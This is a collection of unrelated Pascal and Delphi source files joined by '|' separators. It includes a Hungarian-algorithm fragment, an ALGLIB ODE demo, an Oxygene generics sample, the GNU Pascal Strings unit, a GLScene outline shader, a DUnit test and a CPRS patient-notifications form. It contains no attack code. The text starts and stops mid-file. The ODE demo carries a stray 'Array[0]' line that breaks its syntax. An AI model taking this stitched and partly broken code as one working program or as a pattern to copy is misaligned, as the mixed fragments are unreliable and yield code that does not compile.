{Update cover}
E := MaxInt;
for I := 1 to N do
if Mark[1, I] then
for J := 1 to N do
if not Mark[2, J] then
E := Min(E, C[1, I] + C[2, J] - G[I, J]);
if E <> MaxInt then
for I := 1 to N do
begin
if Mark[1, I] then Dec(C[1, I], E);
if Mark[2, I] then Inc(C[2, I], E);
end;
until Size = 0;
for I := 1 to N do
Inc(P, G[I, Match[1, I]]);
P := Abs(P);
end;
begin
ReadInput;
Assignment;
WriteOutput;
end.
|
program _demo;
Array[0]
var
X : TReal1DArray;
Y : TReal1DArray;
YTbl : TReal2DArray;
Eps : Double;
H : Double;
M : AlglibInteger;
I : AlglibInteger;
State : ODESolverState;
Rep : ODESolverReport;
begin
//
// ODESolver unit is used to solve simple ODE:
// y' = y, y(0) = 1.
//
// Its solution is well known in academic circles :)
//
// No intermediate values are calculated,
// just starting and final points.
//
SetLength(Y, 1);
Y[0] := 1;
SetLength(X, 2);
X[0] := 0;
X[1] := 1;
Eps := 1.0E-4;
H := 0.01;
ODESolverRKCK(Y, 1, X, 2, Eps, H, State);
while ODESolverIteration(State) do
begin
State.DY[0] := State.Y[0];
end;
ODESolverResults(State, M, X, YTbl, Rep);
Write(Format(' X Y(X)'#13#10'',[]));
I:=0;
while I<=M-1 do
begin
Write(Format('%5.3f %5.3f'#13#10'',[
X[I],
YTbl[I,0]]));
Inc(I);
end;
end. |
namespace Main;
interface
implementation
uses
System.Collections.ObjectModel, // Note: this sample requires Beta 2 of the .NET Framework 2.0
System.Collections.Generic;
method GenericMethod;
var
x: array of Integer;
y: ReadOnlyCollection<Integer>;
z: IList<String>;
begin
x := [123,43,2,11];
y := &Array.AsReadonly<Integer>(x);
Console.Writeline('Readonly collection:');
for each s in y do
Console.Writeline(s);
z := &Array.AsReadOnly<String>(['Welcome', 'to', 'Generics']);
for each s: String in z do
Console.Write(s+' ');
end;
method GenericClass;
var
ListA: List<Integer>;
ListB: List<String>;
o: Object;
begin
// instantiating generic types
ListA := new List<Integer>;
ListB := new List<String>;
// calling methods
ListA.Add(123);
ListA.Add(65);
//ListA.Add('bla'); // x is typesafe, so this line will not compile
ListB.Add('Hello');
ListB.Add('World');
// accessing index properties
for i: Integer := 0 to ListA.Count-1 do
Console.WriteLine((i+ListA[i]).ToString);
for i: Integer := 0 to ListB.Count-1 do
Console.Write(ListB[i]+' ');
// casting to back generic types
o := ListA;
ListA := List<Integer>(o);
//y := List<Integer>(o); // compiler error: differently typed instances are not assignment compatible.
ListB := List<String>(o); // will equal to nil
Console.Writeline;
end;
method Main;
begin
GenericClass();
GenericMethod();
Console.ReadKey;
end;
end. |
{ BP compatible Strings unit
Copyright (C) 1999-2005 Free Software Foundation, Inc.
Author: Frank Heckenbach <frank@pascal.gnu.de>
This file is part of GNU Pascal.
GNU Pascal is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published
by the Free Software Foundation; either version 2, or (at your
option) any later version.
GNU Pascal is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU Pascal; see the file COPYING. If not, write to the
Free Software Foundation, 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
As a special exception, if you link this file with files compiled
with a GNU compiler to produce an executable, this does not cause
the resulting executable to be covered by the GNU General Public
License. This exception does not however invalidate any other
reasons why the executable file might be covered by the GNU
General Public License. }
{$gnu-pascal,I-}
{$if __GPC_RELEASE__ < 20030303}
{$error This unit requires GPC release 20030303 or newer.}
{$endif}
module Strings;
export Strings = all (CStringLength => StrLen, CStringEnd => StrEnd,
CStringMove => StrMove, CStringCopy => StrCopy,
CStringCopyEnd => StrECopy, CStringLCopy => StrLCopy,
CStringCopyString => StrPCopy, CStringCat => StrCat,
CStringLCat => StrLCat, CStringComp => StrComp,
CStringCaseComp => StrIComp, CStringLComp => StrLComp,
CStringLCaseComp => StrLIComp, CStringChPos => StrScan,
CStringLastChPos => StrRScan, CStringPos => StrPos,
CStringLastPos => StrRPos, CStringUpCase => StrUpper,
CStringLoCase => StrLower, CStringIsEmpty => StrEmpty,
CStringNew => StrNew);
import GPC;
function StrPas (aString: CString): TString;
procedure StrDispose (s: CString); external name '_p_Dispose';
end;
function StrPas (aString: CString): TString;
begin
StrPas := CString2String (aString)
end;
end.
|
{: GLOutlineShader<p>
A simple shader that adds an outline to an object. <p>
Limitations: <br>
<li> 1. Object can be transparent (color alpha < 1) if it doesn't
overlap itself. Texture transparency doesn't work.
<li> 2. Doesn't work with objects (e.g. TGLFreeForm) having it's own
color array.
<li> 3. Doesn't Works with visible backfaces.<p>
<b>History : </b><font size=-1><ul>
<li>12/02/11 - Yar - Added skipping shader when enabled stencil test to avvoid conflict with shadow volume
<li>23/08/10 - Yar - Added OpenGLTokens to uses, replaced OpenGL1x functions to OpenGLAdapter
<li>22/04/10 - Yar - Fixes after GLState revision
<li>05/03/10 - DanB - More state added to TGLStateCache
<li>06/06/07 - DaStr - Added $I GLScene.inc
Added GLColor to uses (BugtrackerID = 1732211)
<li>25/02/07 - DaStr - Moved registration to GLSceneRegister.pas
<li>05/06/04 - NelC - Fixed bug with textured object
<li>14/12/03 - NelC - Removed BlendLine, automatically determine if blend
<li>20/10/03 - NelC - Removed unnecessary properties. Shader now honors
rci.ignoreMaterials.
<li>04/09/03 - NelC - Converted into a component from the TOutlineShader
in the multipass demo.
</ul></font>
}
unit GLOutlineShader;
interface
{$I GLScene.inc}
uses
Classes, GLMaterial, GLCrossPlatform, GLColor, GLRenderContextInfo;
type
// TGLOutlineShader
//
TGLOutlineShader = class(TGLShader)
private
{ Private Declarations }
FPassCount: integer;
FLineColor: TGLColor;
FOutlineSmooth: Boolean;
FOutlineWidth: Single;
procedure SetOutlineWidth(v: single);
procedure SetOutlineSmooth(v: boolean);
protected
{ Protected Declarations }
procedure DoApply(var rci: TRenderContextInfo; Sender: TObject); override;
function DoUnApply(var rci: TRenderContextInfo): Boolean; override;
public
{ Public Declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
{ Published Declarations }
property LineColor: TGLColor read FLineColor write FLineColor;
{: Line smoothing control }
property LineSmooth: Boolean read FOutlineSmooth write SetOutlineSmooth
default false;
property LineWidth: Single read FOutlineWidth write SetOutlineWidth;
end;
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
uses OpenGLTokens, GLContext, GLState, GLTextureFormat;
// ------------------
// ------------------ TGLOutlineShader ------------------
// ------------------
// Create
//
constructor TGLOutlineShader.Create(AOwner: TComponent);
begin
inherited;
FOutlineSmooth := False;
FOutLineWidth := 2;
FLineColor := TGLColor.CreateInitialized(Self, clrBlack);
ShaderStyle := ssLowLevel;
end;
// Destroy
//
destructor TGLOutlineShader.Destroy;
begin
FLineColor.Free;
inherited;
end;
// DoApply
//
procedure TGLOutlineShader.DoApply(var rci: TRenderContextInfo; Sender:
TObject);
begin
// We first draw the object as usual in the first pass. This allows objects
// with color alpha < 1 to be rendered correctly with outline.
FPassCount := 1;
end;
// DoUnApply
//
function TGLOutlineShader.DoUnApply(var rci: TRenderContextInfo): Boolean;
begin
if rci.ignoreMaterials or (stStencilTest in rci.GLStates.States) then
begin
Result := False;
Exit;
end;
case FPassCount of
1:
with rci.GLStates do
begin
// Now set up to draw the outline in the second pass
Disable(stLighting);
if FOutlineSmooth then
begin
LineSmoothHint := hintNicest;
Enable(stLineSmooth);
end
else
Disable(stLineSmooth);
if FOutlineSmooth or (FlineColor.Alpha < 1) then
begin
Enable(stBlend);
SetBlendFunc(bfSrcAlpha, bfOneMinusSrcAlpha);
end
else
Disable(stBlend);
GL.Color4fv(FlineColor.AsAddress);
LineWidth := FOutlineWidth;
Disable(stLineStipple);
PolygonMode := pmLines;
CullFaceMode := cmFront;
DepthFunc := cfLEqual;
ActiveTextureEnabled[ttTexture2D] := False;
FPassCount := 2;
Result := True; // go for next pass
end;
2:
with rci.GLStates do
begin
// Restore settings
PolygonMode := pmFill;
CullFaceMode := cmBack;
DepthFunc := cfLequal;
Result := False; // we're done
end;
else
Assert(False);
Result := False;
end;
end;
// SetOutlineWidth
//
procedure TGLOutlineShader.SetOutlineWidth(v: single);
begin
if FOutlineWidth <> v then
begin
FOutlineWidth := v;
NotifyChange(self);
end;
end;
// SetOutlineSmooth
//
procedure TGLOutlineShader.SetOutlineSmooth(v: boolean);
begin
if FOutlineSmooth <> v then
begin
FOutlineSmooth := v;
NotifyChange(self);
end;
end;
end.
|
unit Test_FIToolkit.Commons.Exceptions;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework,
FIToolkit.Commons.Exceptions;
type
// Test methods for class ECustomException
TestECustomException = class(TGenericTestCase)
private
type
ETestException = class (ECustomException);
ETestExceptionFmt = class (ECustomException);
const
STR_TEST_ERR_MSG = 'TestExceptionMessage';
FMT_TEST_ERR_MSG = '%d' + STR_TEST_ERR_MSG + '%s';
STR_TEST_ARG_INT = '42';
STR_TEST_ARG_STR = 'LOL';
STR_TEST_ERR_MSG_FMT = STR_TEST_ARG_INT + STR_TEST_ERR_MSG + STR_TEST_ARG_STR;
strict private
FCustomException: ECustomException;
FTestException : ETestException;
FTestExceptionFmt : ETestExceptionFmt;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestRegisterExceptionMessage;
end;
implementation
uses
System.SysUtils,
FIToolkit.Commons.Consts;
procedure TestECustomException.SetUp;
begin
FCustomException := ECustomException.Create;
RegisterExceptionMessage(ETestException, STR_TEST_ERR_MSG);
FTestException := ETestException.Create;
RegisterExceptionMessage(ETestExceptionFmt, STR_TEST_ERR_MSG_FMT);
FTestExceptionFmt := ETestExceptionFmt.CreateFmt([STR_TEST_ARG_INT.ToInteger, STR_TEST_ARG_STR]);
end;
procedure TestECustomException.TearDown;
begin
FreeAndNil(FCustomException);
FreeAndNil(FTestException);
FreeAndNil(FTestExceptionFmt);
end;
procedure TestECustomException.TestRegisterExceptionMessage;
begin
CheckEquals(RSDefaultErrMsg, FCustomException.Message, 'FCustomException.Message = RSDefaultErrMsg');
CheckEquals(STR_TEST_ERR_MSG, FTestException.Message, 'FTestException.Message = STR_TEST_ERR_MSG');
CheckEquals(STR_TEST_ERR_MSG_FMT, FTestExceptionFmt.Message, 'FTestExceptionFmt.Message = STR_TEST_ERR_MSG_FMT');
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestECustomException.Suite);
end.
|
unit fViewNotifications;
interface
uses
Winapi.Windows,
Winapi.Messages,
System.SysUtils,
System.Variants,
System.Classes,
System.UITypes,
System.Actions,
System.DateUtils,
System.Math,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ComCtrls,
Vcl.StdCtrls,
Vcl.ExtCtrls,
Vcl.ActnList,
ORCtrls, ORFn,
uInfoBoxWithBtnControls,
ClipBrd, ORDtTm;
type
TfrmViewNotifications = class(TForm)
acList: TActionList;
acClose: TAction;
acProcess: TAction;
acDefer: TAction;
acClearList: TAction;
btnClose: TButton;
btnDefer: TButton;
btnProcess: TButton;
clvNotifications: TCaptionListView;
acSortByColumn: TAction;
ordbFrom: TORDateBox;
ordbTo: TORDateBox;
lblTo: TLabel;
lblFrom: TLabel;
pnlBottom: TPanel;
btnUpdate: TButton;
procedure acProcessExecute(Sender: TObject);
procedure acDeferExecute(Sender: TObject);
procedure acListUpdate(Action: TBasicAction; var Handled: Boolean);
procedure acCloseExecute(Sender: TObject);
procedure acClearListExecute(Sender: TObject);
procedure clvNotificationsColumnClick(Sender: TObject; Column: TListColumn);
procedure acSortByColumnExecute(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnUpdateClick(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure ordbFromChange(Sender: TObject);
procedure ordbToChange(Sender: TObject);
private
FSortColumn: integer;
FSortColumnAscending: array of Boolean;
procedure shrinkMessageToFit;
procedure columnsConfigure;
procedure columnsCompare(Sender: TObject; aItem1, aItem2: TListItem; aData: integer; var aCompare: integer);
procedure loadList;
procedure loadItems(aItems: TStringList; aAppend: Boolean = True);
public
{ Public declarations }
end;
var
frmViewNotifications: TfrmViewNotifications;
procedure ShowPatientNotifications(aProcessingEvent: TNotifyEvent);
implementation
{$R *.dfm}
uses
MFunStr,
ORNet,
uCore,
rCore,
fDeferDialog,
fNotificationProcessor;
type
TSMARTAlert = class(TObject)
private
FIsOwner: Boolean;
FForwardedBy: string;
FAlertDateTime: TDateTime;
FUrgency: string;
FAlertID: string;
FPatientName: string;
FInfoOnly: string;
FAlertMsg: string;
FLocation: string;
FOrderer: string;
procedure SetAlertID(const Value: string);
procedure SetAlertDateTime(const Value: TDateTime);
procedure SetAlertDateTimeFromFM(const Value: string);
procedure SetAlertMsg(const Value: string);
procedure SetForwardedBy(const Value: string);
procedure SetInfoOnly(const Value: string);
procedure SetIsOwner(const Value: Boolean);
procedure SetPatientName(const Value: string);
procedure SetUrgency(const Value: string);
procedure SetLocation(const Value: string);
procedure SetOrderer(const Value: string);
function getAsText: string;
function getIsOwnerAsString: string;
function getIsInfoOnly: Boolean;
function getAlertDateTimeAsString: string;
function getRecordID: string;
function getUrgencyAsInteger: integer;
public
constructor Create(aDelimitedText: string);
destructor Destroy; override;
class function GetListViewColumns(aListViewWidth: integer): string;
property IsInfoOnly: Boolean read getIsInfoOnly;
property InfoOnly: string read FInfoOnly write SetInfoOnly;
property PatientName: string read FPatientName write SetPatientName;
property Urgency: string read FUrgency write SetUrgency;
property AlertDateTime: TDateTime read FAlertDateTime write SetAlertDateTime;
property AlertDateTimeAsString: string read getAlertDateTimeAsString;
property AlertMsg: string read FAlertMsg write SetAlertMsg;
property ForwardedBy: string read FForwardedBy write SetForwardedBy;
property AlertID: string read FAlertID write SetAlertID;
property IsOwner: Boolean read FIsOwner write SetIsOwner;
property IsOwnerAsString: string read getIsOwnerAsString;
property AsText: string read getAsText;
property Location: string read FLocation write SetLocation;
property Orderer: string read FOrderer write SetOrderer;
property RecordID: string read getRecordID;
property UrgencyAsInteger: integer read getUrgencyAsInteger;
end;
const
ACP_PROCESS = 'Process';
ACP_VIEW = 'View';
var
LastPatientDFN: string = '';
LastFromDate: TFMDateTime = 0;
LastToDate: TFMDateTime = 0;
procedure ShowPatientNotifications(aProcessingEvent: TNotifyEvent);
begin
with TfrmViewNotifications.Create(Application) do
try
Caption := Format('%s: %s (%s)', [Caption, Patient.Name, Copy(Patient.SSN, 8, 4)]);
columnsConfigure;
loadList;
Notifications.Clear; // We're gonna load up the selected ones
ShowModal;
if Notifications.Active then // Now we know if we added any
aProcessingEvent(nil);
finally
Free;
end;
end;
{ TfrmViewNotifications }
procedure TfrmViewNotifications.acClearListExecute(Sender: TObject);
begin
clvNotifications.Items.BeginUpdate;
try
while clvNotifications.Items.Count > 0 do
try
if clvNotifications.Items[0].Data <> nil then
TObject(clvNotifications.Items[0].Data).Free;
finally
clvNotifications.Items.Delete(0);
end;
finally
clvNotifications.Items.EndUpdate;
end;
end;
procedure TfrmViewNotifications.acCloseExecute(Sender: TObject);
begin
acClearList.Execute;
ModalResult := mrOk;
end;
procedure TfrmViewNotifications.acDeferExecute(Sender: TObject);
var
aAlert: TSMARTAlert;
aResult: string;
begin
with TfrmDeferDialog.Create(Self) do
try
aAlert := TSMARTAlert(clvNotifications.Selected.Data);
Title := 'Defer Patient Notification';
Description := aAlert.AsText;
if Execute then
try
CallVistA('ORB3UTL DEFER', [User.DUZ, aAlert.AlertID, DeferUntilFM],aResult);
if aResult <> '1' then
raise Exception.Create(Copy(aResult, Pos(aResult, '^') + 1, Length(aResult)));
except
on e: Exception do
MessageDlg(e.Message, mtError, [mbOk], 0);
end
else
MessageDlg('Deferral cancelled', mtInformation, [mbOk], 0);
finally
Free;
end;
end;
procedure TfrmViewNotifications.acProcessExecute(Sender: TObject);
var
aFollowUp, i: integer;
aDFN, X: string;
aSmartAlert: TSMARTAlert;
aSmartParams, aEmptyParams: TStringList;
aSMARTAction: TNotificationAction;
keepOpen, Processing: Boolean;
LongText, AlertMsg: string; // *DFN*
LongTextBtns: TStringList;
LongTextResult: Integer;
begin
if not(acProcess.Enabled) then
Exit;
Processing := (acProcess.Caption = ACP_PROCESS);
keepOpen := false;
with clvNotifications do
begin
if SelCount < 1 then
Exit;
for i := 0 to Items.Count - 1 do
if Items[i].Selected then
begin
aSmartAlert := TSMARTAlert(clvNotifications.Items[i].Data);
AlertMsg := aSmartAlert.AlertMsg;
if (aSmartAlert.InfoOnly = 'I') then
// If Caption is 'I' delete the information only alert.
begin
if Processing then
DeleteAlert(aSmartAlert.AlertID)
else
keepOpen := True;
end
else if aSmartAlert.InfoOnly = 'L' then
begin
LongText := LoadNotificationLongText(aSmartAlert.AlertID);
LongTextBtns := TStringList.Create();
try
LongTextBtns.Add('Copy to Clipboard');
if Processing then
begin
LongTextBtns.Add('Dismiss Alert');
LongTextBtns.Add('Keep Alert^true');
end
else
LongTextBtns.Add(' Close ^true');
LongTextResult := 0;
while (LongTextResult = 0) do
begin
LongTextResult := uInfoBoxWithBtnControls.DefMessageDlg
(LongText, mtConfirmation, LongTextBtns, AlertMsg, false);
if (LongTextResult = 0) then
ClipBoard.AsText := LongText
end;
if Processing and (LongTextResult = 1) then
DeleteAlert(aSmartAlert.AlertID)
else
keepOpen := True;
finally
LongTextBtns.Free;
end;
end
else if Piece(aSmartAlert.AlertID, ',', 1) = 'OR' then // OR,16,50;1311;2980626.100756 // Add to Object as ORAlert: bool;
begin
// check if smart alert and if so show notificationprocessor dialog
aSmartParams := TStringList.Create;
try
CallVistA('ORB3UTL GET NOTIFICATION',
[Piece(aSmartAlert.RecordID, '^', 2)], aSmartParams);
If (aSmartParams.Values['PROCESS AS SMART NOTIFICATION'] = '1') then
begin
if Processing then
begin
aSMARTAction := TfrmNotificationProcessor.Execute(aSmartParams,
aSmartAlert.AsText);
if aSMARTAction = naNewNote then
begin
aSmartParams.Add('MAKE ADDENDUM=0');
aDFN := Piece(aSmartAlert.AlertID, ',', 2); // *DFN*
aFollowUp := StrToIntDef(Piece(Piece(aSmartAlert.AlertID, ';', 1),
',', 3), 0);
Notifications.Add(aDFN, aFollowUp, aSmartAlert.RecordID,
aSmartAlert.AlertDateTimeAsString, aSmartParams);
end
else if aSMARTAction = naAddendum then
begin
aSmartParams.Add('MAKE ADDENDUM=1');
aDFN := Piece(aSmartAlert.AlertID, ',', 2); // *DFN*
aFollowUp := StrToIntDef(Piece(Piece(aSmartAlert.AlertID, ';', 1),
',', 3), 0);
Notifications.Add(aDFN, aFollowUp, aSmartAlert.RecordID,
aSmartAlert.AlertDateTimeAsString, aSmartParams);
end
else if aSMARTAction = naCancel then
begin
keepOpen := True;
end;
end
else
begin
ShowMessage('You cannot view this smart notification.');
keepOpen := True;
end;
end
else
begin
aDFN := Piece(aSmartAlert.AlertID, ',', 2); // *DFN*
aFollowUp := StrToIntDef(Piece(Piece(aSmartAlert.AlertID, ';', 1),
',', 3), 0);
Notifications.Add(aDFN, aFollowUp, aSmartAlert.RecordID,
aSmartAlert.AlertDateTimeAsString, aSmartParams, Processing);
end;
finally
FreeAndNil(aSmartParams);
end;
end
else if Copy(aSmartAlert.AlertID, 1, 6) = 'TIUERR' then
begin
InfoBox(Piece(aSmartAlert.RecordID, U, 1) + sLineBreak + sLineBreak
+ 'The CPRS GUI cannot yet ' + acProcess.Caption.ToLower +
' this type of alert. Please use List Manager.',
'Unable to ' + acProcess.Caption + ' Alert', MB_OK);
keepOpen := True;
end
else if Copy(aSmartAlert.AlertID, 1, 3) = 'TIU' then
// TIU6028;1423;3021203.09
begin
X := GetTIUAlertInfo(aSmartAlert.AlertID);
if Piece(X, U, 2) <> '' then
begin
try
aEmptyParams := TStringList.Create();
aDFN := Piece(X, U, 2); // *DFN*
aFollowUp := StrToIntDef(Piece(Piece(X, U, 3), ';', 1), 0);
Notifications.Add(aDFN, aFollowUp, aSmartAlert.RecordID + '^^' +
Piece(X, U, 3), '', aEmptyParams, Processing);
finally
FreeAndNil(aEmptyParams);
end;
end
else if Processing then
DeleteAlert(aSmartAlert.AlertID);
end
else // other alerts cannot be processed
begin
InfoBox('This alert cannot be ' + acProcess.Caption.ToLower +
'ed by the CPRS GUI. ' + 'Please use VistA to ' +
acProcess.Caption.ToLower + ' this alert.',
aSmartAlert.PatientName + ': ' + aSmartAlert.AlertMsg, MB_OK);
keepOpen := True;
end;
end;
end;
// This will close the form and if Notifications were added,
// then the callback method will be fired immediately after the
// ShowModal command in ShowPatientNotifications
if keepOpen = false then
begin
ModalResult := mrOk;
end;
end;
procedure TfrmViewNotifications.acSortByColumnExecute(Sender: TObject);
begin
FSortColumnAscending[FSortColumn] := not FSortColumnAscending[FSortColumn];
clvNotifications.SortType := stData;
clvNotifications.SortType := stNone;
end;
procedure TfrmViewNotifications.btnUpdateClick(Sender: TObject);
begin
if ordbFrom.FMDateTime > ordbTo.FMDateTime then
ShowMessage('"From Date" must be before "To Date"')
else
loadList;
end;
procedure TfrmViewNotifications.acListUpdate(Action: TBasicAction; var Handled: Boolean);
var
aAlert: TSMARTAlert;
begin
if clvNotifications.SelCount = 1 then
begin
aAlert := TSMARTAlert(clvNotifications.Selected.Data);
acDefer.Enabled := aAlert.IsOwner;
if aAlert.IsOwner then
begin
acProcess.Caption := ACP_PROCESS;
acProcess.Enabled := true;
end
else
begin
acProcess.Caption := ACP_VIEW;
acProcess.Enabled := (aAlert.InfoOnly <> 'I');
end;
end
else
begin
acProcess.Caption := ACP_PROCESS;
acDefer.Enabled := false;
acProcess.Enabled := false;
end;
end;
procedure TfrmViewNotifications.clvNotificationsColumnClick(Sender: TObject; Column: TListColumn);
begin
FSortColumn := Column.Index;
acSortByColumn.Execute;
end;
procedure TfrmViewNotifications.columnsCompare(Sender: TObject; aItem1, aItem2: TListItem; aData: integer; var aCompare: integer);
begin
case FSortColumn of
0:
begin // Sort by caption
aCompare := CompareText(aItem1.Caption, aItem2.Caption);
end;
3:
begin // Custom sort by low med high
aCompare := CompareValue(
TSMARTAlert(aItem1.Data).getUrgencyAsInteger,
TSMARTAlert(aItem2.Data).getUrgencyAsInteger);
end;
4:
try // Sort by Date/Time
aCompare := CompareDateTime(
TSMARTAlert(aItem1.Data).FAlertDateTime,
TSMARTAlert(aItem2.Data).FAlertDateTime);
except
aCompare := 0;
end;
else
try // Sort by text value in the column clicked
aCompare := CompareText(aItem1.SubItems[FSortColumn - 1], aItem2.SubItems[FSortColumn - 1]);
except
aCompare := 0;
end;
end;
if not FSortColumnAscending[FSortColumn] then
aCompare := aCompare * -1; // Switches aCompare to opposite of ascending
end;
procedure TfrmViewNotifications.columnsConfigure;
var
aColSpec: string;
aColSpecs: TStringList;
x, w: integer;
col: TListColumn;
begin
clvNotifications.Columns.BeginUpdate;
aColSpecs := TStringList.Create;
try
clvNotifications.Columns.Clear;
aColSpecs.StrictDelimiter := True;
aColSpecs.DelimitedText := TSMARTAlert.GetListViewColumns(clvNotifications.ClientWidth);
for aColSpec in aColSpecs do
begin
col := clvNotifications.Columns.Add;
w := StrToIntDef(Copy(aColSpec, 1, Pos(':', aColSpec) - 1), 50);
col.Caption := Copy(aColSpec, Pos(':', aColSpec) + 1, Length(aColSpec));
if w > 0 then
begin
x := TextWidthByFont(Self.Font.Handle,col.Caption) + 12;
if w < x then
w := x;
end;
col.Width := w;
end;
shrinkMessageToFit;
finally
FreeAndNil(aColSpecs);
end;
clvNotifications.Columns.EndUpdate;
clvNotifications.OnCompare := columnsCompare;
end;
procedure TfrmViewNotifications.FormCreate(Sender: TObject);
begin
//ResizeFormToFont(Self);
if (Patient.DFN = LastPatientDFN) and (LastFromDate > 0) and (LastToDate > 0) then
begin
ordbFrom.FMDateTime := LastFromDate;
ordbTo.FMDateTime := LastToDate;
end
else
begin
LastPatientDFN := Patient.DFN;
ordbFrom.FMDateTime := StrToFMDateTime('T-90');
ordbTo.FMDateTime := StrToFMDateTime('T');
end;
end;
procedure TfrmViewNotifications.FormResize(Sender: TObject);
begin
shrinkMessageToFit;
end;
procedure TfrmViewNotifications.loadItems(aItems: TStringList; aAppend: Boolean = True);
var
aAlert: TSMARTAlert;
aItem: string;
col: TListItem;
procedure AddSubItem(Data: string);
var
w: integer;
idx: integer;
begin
col.SubItems.Add(Data);
idx := col.SubItems.Count;
if (idx < clvNotifications.Columns.Count) and
(clvNotifications.Columns[idx].Width > 0) then
begin
w := TextWidthByFont(Self.Font.Handle, Data) + 14;
if (clvNotifications.Columns[idx].Width < w) then
clvNotifications.Columns[idx].Width := w;
end;
end;
begin
clvNotifications.Items.BeginUpdate;
try
if not aAppend then
acClearList.Execute;
for aItem in aItems do
begin
aAlert := TSMARTAlert.Create(aItem);
col := clvNotifications.Items.Add;
col.Caption := aAlert.IsOwnerAsString;
AddSubItem(aAlert.InfoOnly);
AddSubItem(aAlert.Location);
AddSubItem(aAlert.Urgency);
AddSubItem(aAlert.AlertDateTimeAsString);
AddSubItem(aAlert.AlertMsg);
AddSubItem(aAlert.Orderer);
AddSubItem(aAlert.AlertID);
col.Data := aAlert;
end;
shrinkMessageToFit;
except
on e: Exception do
begin
acClearList.Execute;
MessageDlg('Error loading item list: ' + e.Message, mtError, [mbOk], 0);
end;
end;
clvNotifications.Items.EndUpdate;
end;
procedure TfrmViewNotifications.loadList;
var
aColIndex: integer;
aItems: TStringList;
begin
acClearList.Execute;
aItems := TStringList.Create;
{ Reset the sorting }
SetLength(FSortColumnAscending, clvNotifications.Columns.Count);
for aColIndex := Low(FSortColumnAscending) to High(FSortColumnAscending) do
FSortColumnAscending[aColIndex] := false; // First click on the column switches this value;
try
try
CallVistA('ORB3UTL NOTIFPG', [Patient.DFN, ordbFrom.FMDateTime,
ordbTo.FMDateTime + 0.235959], aItems);
begin
aItems.Delete(0);
if aItems.Count > 0 then
loadItems(aItems, True);
end;
except
on e: Exception do
begin
MessageDlg('Error getting notifications: ' + e.Message, mtError,
[mbOk], 0);
FreeAndNil(aItems);
end;
end;
finally
FreeAndNil(aItems);
end;
{ Initial Sort by Urgency }
FSortColumn := 2;
acSortByColumn.Execute;
end;
procedure TfrmViewNotifications.ordbFromChange(Sender: TObject);
begin
LastFromDate := ordbFrom.FMDateTime;
end;
procedure TfrmViewNotifications.ordbToChange(Sender: TObject);
begin
LastToDate := ordbTo.FMDateTime;
end;
procedure TfrmViewNotifications.shrinkMessageToFit;
const
MessageColumn = 5;
var
i, x, w: integer;
begin
x := 0;
for i := 0 to clvNotifications.Columns.Count-1 do
begin
if i <> MessageColumn then
x := x + clvNotifications.Columns[i].Width;
end;
w := clvNotifications.Width - x - 26;
if w >= 50 then
clvNotifications.Columns[MessageColumn].Width := w;
end;
{ TSMARTAlert }
constructor TSMARTAlert.Create(aDelimitedText: string);
begin
inherited Create;
with TStringList.Create do
try
Delimiter := '^';
StrictDelimiter := True;
DelimitedText := aDelimitedText;
// makes sure we have a complete record
while Count < 12 do
Add('');
FInfoOnly := Strings[0];
FPatientName := Strings[1];
FLocation := Strings[2];
FUrgency := Strings[3];
SetAlertDateTimeFromFM(Strings[4]);
FAlertMsg := Strings[5];
FForwardedBy := Strings[6];
FAlertID := Strings[7];
FIsOwner := Strings[10] = '1';
FOrderer := Strings[11];
finally
Free;
end;
end;
destructor TSMARTAlert.Destroy;
begin
inherited;
end;
function TSMARTAlert.getAlertDateTimeAsString: string;
begin
Result := FormatDateTime('MM/DD/YYYY@hh:mm', FAlertDateTime);
end;
function TSMARTAlert.getAsText: string;
begin
Result :=
'Patient: ' + FPatientName + #13#10 +
'Info: ' + FInfoOnly + #13#10 +
'Location: ' + FLocation + #13#10 +
'Urgency: ' + FUrgency + #13#10 +
'Alert Date/Time: ' + FormatDateTime('MM/DD/YYYY@hh:mm', FAlertDateTime) + #13#10 +
'Message: ' + FAlertMsg + #13#10 +
'Forwarded By: ' + FForwardedBy + #13#10 +
'Ordering Provider: ' + FOrderer;
end;
function TSMARTAlert.getIsInfoOnly: Boolean;
begin
Result := (FInfoOnly = 'I');
end;
function TSMARTAlert.getIsOwnerAsString: string;
begin
case FIsOwner of
True:
Result := 'Yes';
false:
Result := 'No';
end;
end;
class function TSMARTAlert.GetListViewColumns(aListViewWidth: integer): string;
begin
Result :=
'20:My To Do,20:Info,50:Location,50:Urgency,50:Alert Date/Time,' +
IntToStr(aListViewWidth - 405) +
':Message,80:Ordering Provider';
end;
function TSMARTAlert.getRecordID: string;
begin
Result := FPatientName + ': ' + FAlertMsg + '^' + FAlertID;
end;
function TSMARTAlert.getUrgencyAsInteger: integer;
begin
if CompareText(FUrgency, 'high') = 0 then
Result := 0
else if CompareText(FUrgency, 'moderate') = 0 then
Result := 1
else if CompareText(FUrgency, 'low') = 0 then
Result := 2
else
Result := 99;
end;
procedure TSMARTAlert.SetAlertID(const Value: string);
begin
FAlertID := Value;
end;
procedure TSMARTAlert.SetAlertDateTime(const Value: TDateTime);
begin
FAlertDateTime := Value;
end;
procedure TSMARTAlert.SetAlertDateTimeFromFM(const Value: string);
var
Y, M, D: Word;
hh, mm: Word;
begin
M := StrToInt(Copy(Value, 1, 2));
D := StrToInt(Copy(Value, 4, 2));
Y := StrToInt(Copy(Value, 7, 4));
hh := StrToInt(Copy(Value, 12, 2));
mm := StrToInt(Copy(Value, 15, 2));
FAlertDateTime := EncodeDate(Y, M, D) + EncodeTime(hh, mm, 0, 0);
end;
procedure TSMARTAlert.SetAlertMsg(const Value: string);
begin
FAlertMsg := Value;
end;
